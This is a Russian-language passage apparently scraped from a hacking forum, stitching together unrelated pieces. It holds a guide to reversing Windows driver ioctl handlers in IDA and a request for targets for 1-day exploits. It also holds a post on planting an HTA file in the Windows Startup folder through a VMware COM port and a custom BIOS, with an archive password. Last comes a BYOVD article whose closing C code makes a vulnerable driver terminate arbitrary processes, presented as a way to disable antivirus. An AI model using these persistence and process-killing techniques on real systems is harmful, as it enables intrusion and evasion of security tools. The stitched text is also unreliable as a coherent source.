|---------------------------------|-------------------|
|STATUS_INVALID_PARAMETER | 0xC000000D |
|STATUS_INVALID_DEVICE_REQUEST | 0xC0000010 |
|STATUS_SUCCESS | 0x0 |
|STATUS_BUFFER_TOO_SMALL | 0xC0000023 |
|STATUS_UNSUCCESSFULL | 0xC0000001 |
|STATUS_ACCESS_DENIDED | 0xC0000022 |
|STATUS_INVALID_PARAMETER_1 | 0xC00000EF |
|STATUS_INVALID_PARAMETER_2 | 0xC00000F0 |
|STATUS_INVALID_PARAMETER_3 | 0xC00000F1 |
|STATUS_INVALID_PARAMETER_4 | 0xC00000F2 |
|STATUS_INVALID_PARAMETER_5 | 0xC00000F3 |
|STATUS_INTEGER_OVERFLOW | 0xC0000095 |
6. Определяем неизвестныые флаги
В одном из роликов Off By One Security пытались разобрать технологию Windows
Exploit Guard. В какой-то момент ведущий и его гость стали реверсить функцию
ядра SeTokenGetNoChildProcessRestricted
.
Просто нажав F5
, сложно сказать какие данные здесь представлены.
C:Copy to clipboard
bool __fastcall SeTokenGetNoChildProcessRestricted(__int64 a1, bool *a2, bool *a3, bool *a4)
{
struct _KTHREAD *CurrentThread; // rax
int v9; // edi
bool result; // al
CurrentThread = KeGetCurrentThread();
--CurrentThread->KernelApcDisable;
ExAcquireResourceSharedLite(*(a1 + 0x30), 1u);
v9 = *(a1 + 0xC8);
ExReleaseResourceLite(*(a1 + 0x30));
KeLeaveCriticalRegionThread(KeGetCurrentThread());
*a2 = (v9 & 0x80000) != 0;
result = (v9 & 0x100000) != 0;
*a3 = result;
*a4 = (v9 & 0x200000) != 0;
return result;
}
Начнем улучшать вывод декомпилятора. Во-первых, эта функция документирована и имеет прототип:
C:Copy to clipboard
void SeTokenGetNoChildProcessRestricted(
[in] PACCESS_TOKEN Token,
[out] PBOOLEAN Enforced,
[out] PBOOLEAN UnlessSecure,
[out] PBOOLEAN AuditOnly
);
Тут стоит отметить, что PACCESS_TOKEN
- это в действительности указатель на
структуру _TOKEN
. Указав IDA этот тип мы сразу получаем более
привлекательную картину.
C:Copy to clipboard
void __stdcall SeTokenGetNoChildProcessRestricted(
_TOKEN *Token,
PBOOLEAN Enforced,
PBOOLEAN UnlessSecure,
PBOOLEAN AuditOnly)
{
struct _KTHREAD *CurrentThread; // rax
unsigned int TokenFlags; // edi
CurrentThread = KeGetCurrentThread();
--CurrentThread->KernelApcDisable;
ExAcquireResourceSharedLite(Token->TokenLock, 1u);
TokenFlags = Token->TokenFlags;
ExReleaseResourceLite(Token->TokenLock);
KeLeaveCriticalRegionThread(KeGetCurrentThread());
*Enforced = (TokenFlags & 0x80000) != 0;
*UnlessSecure = (TokenFlags & 0x100000) != 0;
*AuditOnly = (TokenFlags & 0x200000) != 0;
}
Какие же биты проверяются в TokenFlags
и каковы значения флагов 0x80000
,
0x100000
, 0x200000
? Есть несколько способов узнать. Герои ролика
обнаружили значения флагов в WDK, применив немного здравого смысла. А если в
IDA есть встроенные типы WDK, то...?
Верно, мы можем попробовать их угадать и применить прям в декомпиляторе. Жмем
M
на 0x80000
, далее жмем New
и начинаем вводить, например, TOKEN
.
Spoiler: Примечание #6
Флаги в Windows по моим наблюдениям ВСЕГДА пишутся в верхнем регистре. Это маленькое знание поможет отсеивать ненужные значения, которые по какой-либо причине совпадают с искомым.
На скриншоте ниже мы можем видеть всего два значения, которые совпадают. Если мы вернемся и посмотрим на название нашей функции, то ответ станет очевиден.
Применим ту же тактику по отношении к двум оставшимся флагам. По-моему, теперь код выглядит намного чище и информативней. Человек, читающий нашу базу будет благодарен.
C:Copy to clipboard
void __stdcall SeTokenGetNoChildProcessRestricted(
_TOKEN *Token,
PBOOLEAN Enforced,
PBOOLEAN UnlessSecure,
PBOOLEAN AuditOnly)
{
struct _KTHREAD *CurrentThread; // rax
unsigned int TokenFlags; // edi
CurrentThread = KeGetCurrentThread();
--CurrentThread->KernelApcDisable;
ExAcquireResourceSharedLite(Token->TokenLock, TRUE);
TokenFlags = Token->TokenFlags;
ExReleaseResourceLite(Token->TokenLock);
KeLeaveCriticalRegionThread(KeGetCurrentThread());
*Enforced = (TokenFlags & TOKEN_NO_CHILD_PROCESS) != 0;
*UnlessSecure = (TokenFlags & TOKEN_NO_CHILD_PROCESS_UNLESS_SECURE) != 0;
*AuditOnly = (TokenFlags & TOKEN_AUDIT_NO_CHILD_PROCESS) != 0;
}
Итак, повышая информативность кода за счет применения типов мы упрощаем себе задачу в понимании кода, его отладке или других задач, требующих погружения в отдельно взятые участки приложения. Почему этими методами не пользуется тренер SANS - это вопрос, который для меня остался без ответа. Мы потратили не больше двух минут.
8. В каком виде могут быть представлены ioctl?
Чтобы найти код, обрабатывающий ioctl, нам необходимо сначала найти где
происходит инициализация IRP-запросов. Часто встречающийся паттерн, когда одна
функция обрабатывает различные типы IRP. Как правило код инициализации всех
IRP находится в DriverEntry
.
C:Copy to clipboard
/* Инициализация в DriverEntry
DriverObject->MajorFunction[IRP_MJ_CREATE] = CngDispatch;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = CngDispatch;
DriverObject->MajorFunction[IRP_MJ_READ] = CngDispatch;
DriverObject->MajorFunction[IRP_MJ_WRITE] = CngDispatch;
DriverObject->MajorFunction[IRP_MJ_QUERY_INFORMATION] = CngDispatch;
DriverObject->MajorFunction[IRP_MJ_QUERY_VOLUME_INFORMATION] = CngDispatch;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CngDispatch;
*/
// Реализация
NTSTATUS __fastcall CngDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
CurrentStackLocation = Irp->Tail.Overlay.CurrentStackLocation;
switch ( CurrentStackLocation->MajorFunction )
{
case IRP_MJ_CREATE:
// Skip...
case IRP_MJ_CLOSE:
// Skip...
case IRP_MJ_READ:
// Skip...
case IRP_MJ_WRITE:
// Skip...
case IRP_MJ_QUERY_INFORMATION:
// Skip...
case IRP_MJ_QUERY_VOLUME_INFORMATION:
// SKip...
case IRP_MJ_DEVICE_CONTROL:
ioctl_code = CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
// Обработчик ioctl
status = CngDeviceControl(
SystemBuffer,
CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength,
SystemBuffer,
&OutputBufferLength,
ioctl_code,
Irp->RequestorMode);
// Skip...
}
}
Указатель на обработчик ioctl находится по индексу IRP_MJ_DEVICE_CONTROL
в
массиве MajorFunctions
и содержит в своем названии как правило слова
"Device", "Control", "Io".
Пример таких функций в различных драйверах:
C:Copy to clipboard
BOOLEAN __fastcall AfdFastIoDeviceControl
NTSTATUS __fastcall SrvDispatchIoControl
NTSTATUS __stdcall KsSynchronousIoControlDevice
NTSTATUS __fastcall NpCommonFileSystemControl
// И т.д.
Случается и такое, что обработчик ioctl находится в другом драйвере. Например, вы можете встретить такой паттерн.
C:Copy to clipboard
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT *DriverObject, PUNICODE_STRING RegistryPath)
{
// Skip...
DriverObject->MajorFunction[IRP_MJ_PNP_POWER] = KsDefaultDispatchPnp;
DriverObject->MajorFunction[IRP_MJ_POWER] = KsDefaultDispatchPower;
DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL] = KsDefaultForwardIrp;
DriverObject->MajorFunction[IRP_MJ_CLEANUP] = (PDRIVER_DISPATCH)FsDispatchCleanUp;
DriverObject->DriverExtension->AddDevice = (PDRIVER_ADD_DEVICE)PnpAddDevice;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)FsDriverUnload;
KsSetMajorFunctionHandler(DriverObject, IRP_MJ_CREATE);
KsSetMajorFunctionHandler(DriverObject, IRP_MJ_CLOSE);
KsSetMajorFunctionHandler(DriverObject, IRP_MJ_DEVICE_CONTROL);
return STATUS_SUCCESS;
}
В данном случае KsSetMajorFunctionHandler
, являясь импортируемой функцией
драйвера ks.sys
, отвечает за обработку ioctl.
Перейдем непосредственно к обработчикам ioctl и выделим несколько паттернов.
1. switch/case
Один из самых распространенных, идентифицируемых невооруженным глазом и удобочитаемых паттернов.
C:Copy to clipboard
switch ( ioctl_code )
{
case 0x390044u:
v17 = &off_FFFFF8004DC0B320;
return CryptIoctlReturnKernelmodePointer(sys_buf, a4, Mode, v17);
case 0x390048u:
v17 = &off_FFFFF8004DC0B368;
return CryptIoctlReturnKernelmodePointer(sys_buf, a4, Mode, v17);
case 0x390064u:
v17 = &unk_FFFFF8004DC0CEB0;
return CryptIoctlReturnKernelmodePointer(sys_buf, a4, Mode, v17);
case 0x390073u:
// Skip ...
Или аналогичный паттерн непосредственно в ядре Windows. Да, там тоже
присутствуют ioctl-обработчики, например функция PiCMHandleIoctl
.
C:Copy to clipboard
switch ( ioctl_code )
{
case 0x470863u:
return PiCMOpenClassKey(InputBuffer, InputBufferSize, OutputBuffer, OutputBufferSize, PreviousMode, P);
case 0x470867u:
return PiCMDeleteClassKey(InputBuffer, InputBufferSize, OutputBuffer, OutputBufferSize, PreviousMode, P);
case 0x47086Bu:
return PiCMOpenObjectKey(InputBuffer, InputBufferSize, OutputBuffer, OutputBufferSize, PreviousMode, P);
case 0x47086Fu:
return PiCMCreateObject(InputBuffer, InputBufferSize, OutputBuffer, OutputBufferSize, PreviousMode, P);
}
Spoiler: Примечание #7
Множество стандартных кодов определены в заголовочном файле winioctl.h и присутствуют во встроенной библиотеке типов IDA.
2. Мутная арифметика
Представим ситуацию, что нам известен ioctl - 0x39007E
, который уязвим
(например, из короткого отчета вендора или других источников) и мы хотим
проанализировать драйвер.
Spoiler: Примечание #8
Да, ioctl не может быть уязвим, это просто dword, а уязвимой является функция, которая соответствует данному ioctl, но по-моему так проще и понятнее.
Мы можем начать последовательно начать анализировать драйвер от DriverEntry
до обработчика или просто найти по байтовому паттерну. Это зачастую удается
сделать. Нажимаем Ctrl+B
, вводим искомое значение и нажимаем OK
.
Это работает не всегда. Иногда подсчет и обработка ioctl выражена
арифметически. Например, как это происходит в драйвере mskssrv.sys
и функции
SrvDispatchIoControl
.
C:Copy to clipboard
Ioctl = Irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
if ( Ioctl > 0x2F0418 )
{
// Skip...
}
//
// Handling of the ioctl lower then 0x2F0418
//
if ( Ioctl == 0x2F0418 )
{
P = 0i64;
status = FSGetRendezvousServer(&P);
if ( status >= 0 )
{
retVal = FSRendezvousServer::NotifyContext(P, Irp);
goto Cleanup;
}
goto CompleteRequest;
}
v4 = Ioctl - IOCTL_KS_PROPERTY;
if ( !v4 )
{
v12 = KsPropertyHandler(Irp, 1u, &PropertySet);
goto LABEL_22;
}
v5 = v4 - 0x3FD;
if ( !v5 )
{
v12 = FSInitializeContextRendezvous(Irp);
goto LABEL_22;
}
v6 = v5 - 4;
if ( !v6 )
{
P = 0i64;
status = FSGetRendezvousServer(&P);
if ( status >= 0 )
{
retVal = FSRendezvousServer::InitializeStream(P, Irp);
goto Cleanup;
}
goto CompleteRequest;
}
v7 = v6 - 4;
if ( !v7 )
{
P = 0i64;
status = FSGetRendezvousServer(&P);
if ( status >= 0 )
{
retVal = FSRendezvousServer::PublishTx(P, Irp);// Vulnerable path starts here
goto Cleanup;
}
goto CompleteRequest;
}
Схожий паттерн через вычитание я встречал и в других драйверах. Напомню, что мы должны знать ioctl, чтобы отправить запрос из пользовательского режима драйверу. Так как в данном случае определить все ioctl? Иногда это легко сделать невооруженным глазом и подсчетом в уме, иногда можно применить SMT- решатель, например библиотеку z3, копируя логику из декомпилятора, что я и сделал в этом примере.
Python:Copy to clipboard
import z3
IOCTL_KS_PROPERTY = 0x2f0003
ioctl = z3.Real('ioctl')
v4 = z3.Real('v4')
v5 = z3.Real('v5')
v6 = z3.Real('v6')
v7 = z3.Real('v7')
z3.solve(ioctl < 0x2f0418,\
ioctl > 0, \
v4 == ioctl - IOCTL_KS_PROPERTY, \
v5 == v4 - 0x3FD, \
v6 == v5 - 4, \
v7 == v6 - 4, \
v7 == 0)
"""Output:
[ioctl = 3081224, v4 = 1029, v5 = 8, v6 = 4, v7 = 0]
"""
Таким образом, нужный ioctl для FSRendezvousServer::PublishTx
равен
0x2f0408
, который не будет обнаружен по байтовому паттерну в драйвере.
9.Как фильтруются недоверенные указатели?
Отсутствие валидации указателей в ядре может привести к таким уязвимостям как AAR (Arbitrary Address Read), AAW (Arbitrary Address Write) т.е. к произвольному чтению ядерной памяти или записи по ядерному указателю, что может использоваться атакующим для повышения привилегий, отключения защитных решений в результате DKOM.
В ядре Windows и драйверах вы можете встретить следующие паттерны.
1. ProbeForRead, ProbeForWrite
Данные функции проверяют, что весь буфер находится в пространстве пользователя.
C:Copy to clipboard
// Skip
if ( PreviousMode )
ProbeForWrite(/* UserPtr10 - это пользовательский указатель? */ user_UnkStruct->UserPtr10, Len, Alignment);
// Записать какое-либо значение по указателю
*userUnkStruct->UserPtr10 = ValueToWrite;
Если бы UserPtr10
никак не валидировался, то мы смогли бы писать по
произвольному адресу контролируемое полностью, частично или рандомное
значение. Это прямая угроза безопасности.
Часто такая проверка еще пристутсвует перед операцией копирования при помощи
функции memmove
.
C:Copy to clipboard
// Skip
// Валидация аргументов
if ( OutBufferSize )
{
if ( OutBufferSize <= 0x100 )
{
if ( PreviousMode )
ProbeForWrite(OutputBuffer, OutBufferSize, 1u);
// SKip
memmove(OutputBuffer, Src, OutputBufferSize);
}
}
2. MmUserProbeAddress
MmUserProbeAddress
- это глобальная переменная в ядре Windows, которая
также используется для валидации указателей пользовательского режима.
Code:Copy to clipboard
3: kd> dps nt!MmUserProbeAddress
fffff807`46e20080 00007fff`ffff0000
Как вы можете видеть значение этой переменной равно 0x7fffffff0000
. На
листинге ниже пример валидации входящего буфера.
C:Copy to clipboard
NTSTATUS __fastcall AhcDispatch(int FunctionCode, PVOID InputBuffer, KPROCESSOR_MODE RequestorMode)
{
if ( RequestorMode ) // Если UserMode
{
if ( /* Буфер выровнен по границе в 4 байта? */(InputBuffer & 3) != 0 )
ExRaiseDatatypeMisalignment();
if ( /* Проверка, что весь буфер расположен в разрешенном диапазоне адресов */InputBuffer + 0x188 > MmUserProbeAddress || /* Проверка на переполнение */ InputBuffer + 0x188 < InputBuffer )
*MmUserProbeAddress = 0;
}
// Skip
Таким образом, мы можем быстро идентифицировать участки кода, которые работают
с пользовательскими данными, нажав X
на переменную или вышеуказанные фукнции
и получить все перекрестные ссылки. Однако, если разработчик забыл добавить
валидацию, то для идентификации кода, работающего с пользовательскими данными
мы можем и другими методами. Об этом я расскажу в точке 10.
10. Как определить код обрабатывающий пользовательские данные?
Прежде чем ответить на вопрос, зачем вообще нам нужно определять такие места в
коде? Некорректная обработка пользоваетльских данных, как известно, корень зла
в любом приложении и может привести к уязвимости или некорректной работе
приложения. Следовательно, это приоритетная цель для багхантера или
разработчика ядра и драйверов. Можно выделить несколько паттернов, которые
используются при обработке пользовательских данных.
1. PreviousMode
При обработке пользовательских данных ядро часто опирается на поле
[PreviousMode](https://learn.microsoft.com/en-us/windows-
hardware/drivers/kernel/previousmode), которое имеет два значения - UserMode
и KernelMode
, которые в свою очередь являются лишь числами 1 и 0
соответственно.
Больше актуально для ядра Windows, но в драйверах встречается и такой паттерн:
C:Copy to clipboard
// Восстановленные типы аргументов
BOOL __fastcall AfdRioFastIo(
PFILE_OBJECT FileObject,
PVOID InputBuffer,
unsigned int InBufLength,
PVOID OutputBuffer,
int OutBuffLength,
PIO_STATUS_BLOCK StatusBlock)
// Skip
PreviousMode = ExGetPreviousMode();
// Skip
if ( PreviousMode) // Если UserMode
{
if ( /* Буфер выровнен по границе в 4 байта? */ (InputBuffer & 3) != 0 )
ExRaiseDatatypeMisalignment();
if ( /* Проверка, что весь буфер расположен в разрешенном диапазоне адресов */ InputBuffer + 4 > MmUserProbeAddress || /* Проверка на переполнение */ InputBuffer + 4 < InputBuffer )
*MmUserProbeAddress = 0;
}
// Skip
{
Как вы можете догадаться функция ExGetPreviousMode()
получает значение из
структуры _KTHREAD
.
C:Copy to clipboard
KPROCESSOR_MODE ExGetPreviousMode(void)
{
return KeGetCurrentThread()->PreviousMode;
}
В ядре вызов этой функции просто инлайнится и в остальном обработка пользовательских данных ничем не отличается.
2. RequestorMode
IRP-обработчики часто опираются на схожий механизм, но обращаются к
аналогичному полю в структуре _IRP
.
C:Copy to clipboard
NTSTATUS __fastcall AhcDriverDispatchDeviceControl(PDEVICE_OBJECT DeviceObject, IRP *Irp)
{
// Skip
status = AhcDispatch(/* код ioctl */ ControlCode,
/* Указатель на пользовательский буфер */ CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer,
/* Аналогично PreviousMode */ Irp->RequestorMode);
}
Здесь помимо RequestorMode есть жирный намек на обращение к данным в режиме
пользователья - это поле Type3InputBuffer
. Название, не самое информативное
для Windows, на мой взгляд (я не припомню, чтобы терминология с кольцами была
как-то распространена в Windows, тем более, что нет поля с названием
Type0InputBuffer), но это поле говорит, что буфер находится в ring3, а ring3 -
это, как известно, пользовательский режим.
В самом же вызове AhcDispatch
логика обработки пользовательских данных
аналогична примеру выше, т.е. проверка верхней границы пользовательского
буфера, проверка на целочисленное переполнение и выровнен ли адрес по 4
байтовой границе.
C:Copy to clipboard
NTSTATUS __fastcall AhcDispatch(int FunctionCode, PVOID InputBuffer, KPROCESSOR_MODE RequestorMode)
{
if ( RequestorMode ) // Если UserMode
{
if ( /* Буфер выровнен по границе в 4 байта? */(InputBuffer & 3) != 0 )
ExRaiseDatatypeMisalignment();
if ( /* Проверка, что весь буфер расположен в разрешенном диапазоне адресов */ InputBuffer + 0x188 > MmUserProbeAddress || /* Проверка на переполнение */ InputBuffer + 0x188 < InputBuffer )
*MmUserProbeAddress = 0;
}
// Skip
}
Здесь мы немного пересеклись с 9 точкой, но без этого ничего бы не вышло.
**13. Ошибки декомпилятора
13.1**. Ошибка применения enum'ов.
При документировании базы я стараюсь применять enum'ы ко всем "магическим
числам" для удобства переваривания информации. Иногда IDA почему-то не может
найти соответствующее числу символьное значение enum'а.
В данном случае я точно знаю, что это значение
STATUS_INSUFFICIENT_RESOURCES
. Решением этой проблемы является явное
указание возвращаемого значения прототипа функции NTSTATUS
.
После этого мы можем применить символ.
15. Как отлаживать драйверы без .pdb?
Увы, но не все драйвера имеют отладочную информацию и мы должны с этим как-то
работать. Лично я нашел для себя оптимальное решение - это плагин ret-
sync. Я регулярно его использую с любыми
драйверами, т.к. он позволяет синхронизировать окно дизассемблера отладчика с
аналогичным окном в IDA или же выводом декомпилятора. Этот плагин может
использоваться также с Ghidra, Binary Ninja. Поскольку мы не имеем отладочной
информации, то нам придется ставить точки останова по адресам. Кроме этого
необходимо изменить базовый адрес драйвера в IDA, чтобы он соответствовал
базовому адресу драйвера, загруженного в память на отлаживаемой машине.
Алгоритм действий может выглядеть следующим образом:
1. Отлавливаем загрузку драйвера, как это уже было описано в путеводителе
ранее при помощи команды sxe ld <driver.sys>
.
2. Определяем базовый адрес загруженного драйвера.
Code:Copy to clipboard
0: kd> lm m redacted
Browse full module list
start end module name
fffff804`5ffb0000 fffff804`5ffb9000 redacted.sys (no symbols)
3. В IDA выбираем Edit->Segments->Rebase Program..., копируем адрес и
нажимаем OK.
4. В IDA запускаем плагин ret-sync и обязательно указываем синхронизацию с выводом декомпилятора.
5. Загружаем и запускаем плагин в отладчике.
Code:Copy to clipboard
0: kd> .load sync
0: kd> !sync
[sync] sync update
Теперь отладчик и база полностью синхронизированы. Мы можем ставить точки останова по любому адресу и наслаждаться той информативностью, что нам дает IDA.
Всем привет! Хочу перейти на реальные таргеты какие устройства для начала посоветуете посмотреть, буду использовать технику patch diffing и писать 1-day exploit
Начало здесь:
http://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/98414/
Решил выложить бесплатно то что нашёл, подарок форуму.
Пароль на архив PassPassPass123
Описание того как всё это работает:
1. В вмваре есть возможность выводить данные из ком порта в отдельный файл.
Пишем в настройках такое имя файла: C:\ProgramData\Microsoft\Windows\Start
Menu\Programs\StartUp\test.hta
После этого всё что отправляется в компорт изнутри вмваре будет попадать в
этот файл.
2. Теперь о том как записать контент в этот файл. В VMWare есть возможность
подключать сторонние биосы. Пишем свой небольшой BIOS, единственная функция
которого это отправка данных в COM порт.
Этот bios находится в файле bios.rom, сам файл bios rom прописывается в файле
настроек образа MS-DOS.vmx
3. Этот bios при запуске образа вмваре отправит в ком порт строку "". В вмваре будет просто чёрный экран и всё. Но в папке автозагрузки появится файл test.hta с контентом.
4. После ребута компа сработает файл test.hta из автозагрузки и выведет тестовый месседжбокс
Сейчас оформляю всё это в виде статьи, с побробным описанием и исходниками.
Автор Nik Zerof
Источник xakep.ru
Многие именитые хакерские группировки, например северокорейская Lazarus, используют доступ к пространству ядра через атаку BYOVD при выполнении сложных APT-нападений. Тот же метод используют авторы инструмента Terminator, а также операторы различных шифровальщиков. В этой статье мы подробно разберем, как работает BYOVD и почему эта атака стала популярной.
На самом деле в узких кругах давно было известно о возможности использовать чужой драйвер в своих целях, но до какого‑то момента она не была столь важной. Можно было открыть любой хакерский форум и найти пучок других способов обойти проверку целостности ядра Windows и надурить механизм KPP (Kernel Patch Protection).
Но в Microsoft тоже об этом догадывались и в итоге довели контроль целостности ядра до достаточно высокого уровня, обломав всю малину любителям нестандартного программирования. Вот тогда все вспомнили про BYOVD, потому что реализовать эту атаку значительно проще, чем искать зиродеи в механизме контроля целостности ядра.
BYOVD дает хорошие возможности: позволяет отключать антивирусы, поднимать привилегии (LPE) и делать другие интересные фокусы, в зависимости от того, какой драйвер атакован.
В конце концов, ядро всегда было лакомым кусочком для хакеров всех мастей. Давай разберемся, как работает эта атака.
Для начала нам нужно понимать, что такое драйвер в Windows и как он устроен. Очевидно, что, как и у любого другого приложения, у драйвера есть точка входа, которая называется DriverEntry и имеет следующий прототип:
Code:Copy to clipboard
NTSTATUS DriverEntry (
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath
);
Видим, что в основную функцию драйвера передаются два аргумента: DriverObject, представляющий собой указатель на структуру DRIVER_OBJECT, которая содержит информацию о драйвере, и указатель на строку RegistryPath с путем к файлу драйвера. Сама структура DRIVER_OBJECT выглядит так:
Code:Copy to clipboard
typedef struct _DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
PFAST_IO_DISPATCH FastIoDispatch;
PDRIVER_INITIALIZE DriverInit;
PDRIVER_STARTIO DriverStartIo;
PDRIVER_UNLOAD DriverUnload;
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT, *PDRIVER_OBJECT;
Чтобы приложение из пользовательского режима могло взаимодействовать с драйвером, работающим в режиме ядра, создается устройство драйвера при помощи функции [IoCreateDevice](https://learn.microsoft.com/en-us/windows- hardware/drivers/ddi/wdm/nf-wdm-iocreatedevice) или [WdmlibIoCreateDeviceSecure](https://learn.microsoft.com/en-us/windows- hardware/drivers/ddi/wdmsec/nf-wdmsec-wdmlibiocreatedevicesecure) и символическая ссылка на него при помощи [IoCreateSymbolicLink](https://learn.microsoft.com/en-us/windows- hardware/drivers/ddi/wdm/nf-wdm-iocreatesymboliclink).
Вот фрагмент кода в реальном драйвере, где происходит создание символической ссылки на него.
Теперь разберемся с тем, как приложение пользовательского режима заставляет
драйвер выполнить какое‑либо действие.
Обрати внимание на поле PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION
Прежде всего нас интересует IRP_MJ_DEVICE_CONTROL — это один из кодов функций IRP (I/O Request Packet) в массиве MajorFunction. Он используется для обработки запросов на управление устройством драйвера, таких как чтение и запись данных. Чтобы было нагляднее, пример кода драйвера, отвечающий за инициализацию разных функций IRP:
Code:Copy to clipboard
NTSTATUS DispatchRead(
_In_ PDEVICE_OBJECT DeviceObject,
_Inout_ PIRP Irp
)
{
UNREFERENCED_PARAMETER(DeviceObject);
// Обработка операции чтения файла
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
...
NTSTATUS DriverEntry:
// Заполнение массива MajorFunction
DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
// Код, выполняющийся при событии IRP_MJ_READ
DriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatch;
Input/Output Control, или IOCTL, — это механизм взаимодействия между пользовательским приложением и драйвером устройства в Windows. IOCTL позволяет приложению отправлять управляющие команды и запросы к драйверам устройств для выполнения различных операций, таких как чтение или запись данных, установка параметров устройства, получение информации о состоянии устройства и многое другое. Когда приложение отправляет IOCTL, операционная система передает запрос соответствующему драйверу устройства, который затем выполняет нужное действие и возвращает результат операции.
IOCTL-запросы обрабатываются в специальной функции [DriverDispatch](https://learn.microsoft.com/ru-ru/windows- hardware/drivers/ddi/wdm/nc-wdm-driver_dispatch), вот ее прототип (запомни его, он нам понадобится, чтобы найти эту функцию в дизассемблере):
Code:Copy to clipboard
NTSTATUS DriverDispatch(
[in, out] _DEVICE_OBJECT *DeviceObject,
[in, out] _IRP *Irp
)
Код обработки IOCTL-запросов к драйверу, реализованной в функции DriverDispatch, может выглядеть примерно так:
Code:Copy to clipboard
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
NTSTATUS status = STATUS_SUCCESS;
PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
ULONG controlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
switch(controlCode)
{
case IOCTL_CUSTOM_COMMAND:
// Обработка пользовательской команды
status = ProcessCustomCommand(DeviceObject, Irp);
break;
case IOCTL_ANOTHER_COMMAND:
// Обработка другой пользовательской команды
status = ProcessAnotherCommand(DeviceObject, Irp);
break;
default:
// Неизвестная команда, возвращаем ошибку
status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
В этой функции IOCTL_CUSTOM_COMMAND и IOCTL_ANOTHER_COMMAND — это просто дефайны, содержащие номера IOCTL. Их будет отправлять пользовательское приложение в драйвер. По запросу приложений функции будут выполняться уже в драйвере и с приоритетом ring 0. Часть switch-case в функции DispatchDeviceControl — одна из самых интересных для нас, потому что как раз содержит номера управляющих IOCTL-запросов.
После того как мы ознакомились с базовой структурой драйвера, поняли, как драйвер взаимодействует с юзермодом, настало время реверса! Загружаем подопытный драйвер в IDA Pro и видим точку входа драйвера.
Так как это реальный драйвер, уязвимый для BYOVD, его начальный код может несколько отличаться от простейшего макета драйвера. Чтобы попасть в области кода, содержащие создание устройства, символической ссылки и начало инициализации массива MajorFunction, проследим, куда ведет аргумент DriverObject, ведь он обязателен для действий инициализации. В итоге находим это место, оно рядом с кодом создания символической ссылки. Но так бывает не всегда.
Строчка с memset инициализирует массив MajorFunction. Идем в функцию sub_140014890, указанную в аргументе, видим много кода.
Отыскиваем функцию диспетчеризации по ее прототипу (помнишь, я говорил, что его надо запомнить?) — просто прослеживаем, куда идет аргумент, содержащий IRP. А уже внутри функции видим код инициализации разных элементов MajorFunction.
Нам интересен именно IRP_MJ_DEVICE_CONTROL, поэтому смотрим в функцию
sub_140018ff8 и находим в ней различные case, которые и реализуют управляющие
коды IOCTL.
Теперь дело техники: нужно посмотреть, что делает каждый case, чтобы найти
что‑то интересное и полезное для нас. Немножко осмотревшись в коде, находим
функцию, которая умеет завершать процессы по переданному PID.
Как видно из кода, функция завершает процесс, используя обращение к
ZwTerminateProcess. То, что нужно! Запоминаем номер IOCTL-запроса, который
вызывает эту функцию.
Итак, реверс драйвера принес свои плоды, теперь нам нужно написать инструмент, который поможет проэксплуатировать драйвер и заставить его завершить любой процесс по нашей команде. Но сначала нам нужно обратиться к драйверу. Из юзермода это можно сделать при помощи функции [DeviceIoControl](https://learn.microsoft.com/en- us/windows/win32/api/ioapiset/nf-ioapiset-deviceiocontrol), вот ее прототип:
Code:Copy to clipboard
BOOL DeviceIoControl(
[in] HANDLE hDevice,
[in] DWORD dwIoControlCode,
[in, optional] LPVOID lpInBuffer,
[in] DWORD nInBufferSize,
[out, optional] LPVOID lpOutBuffer,
[in] DWORD nOutBufferSize,
[out, optional] LPDWORD lpBytesReturned,
[in, out, optional] LPOVERLAPPED lpOverlapped
);
Обрати внимание на параметр hDevice — его мы извлекаем из нашего дизасма, в момент, когда формируется символическая ссылка. А параметр dwIoControlCode — это номер ветки case, которая содержит вызов ZwTerminateProcess.
Code:Copy to clipboard
int main() {
int status = 0, proc_id = 0;
DWORD retBytes = 0;
scanf("%u", &proc_id);
HANDLE hDevice = CreateFileA(
"\\\\.\\my_driver",
GENERIC_WRITE|GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
status = DeviceIoControl(hDevice, 0x88889988, &proc_id, sizeof(proc_id), NULL, 0, &retBytes, NULL);
CloseHandle(hDevice);
return 0;
}
Код предельно прост: при помощи CreateFileA мы получаем дескриптор устройства драйвера по его ссылке, которую мы обнаружили в процессе реверса, а вызов функции DeviceIoControl дает прямое указание драйверу выполнить то действие, которое указывается IOCTL-кодом (аргумент dwIoControlCode). В нашем случае это завершение процесса по его ID. После выполнения этого кода драйвер при помощи вызова функции ZwTerminateProcess завершит процесс прямо из ядра!
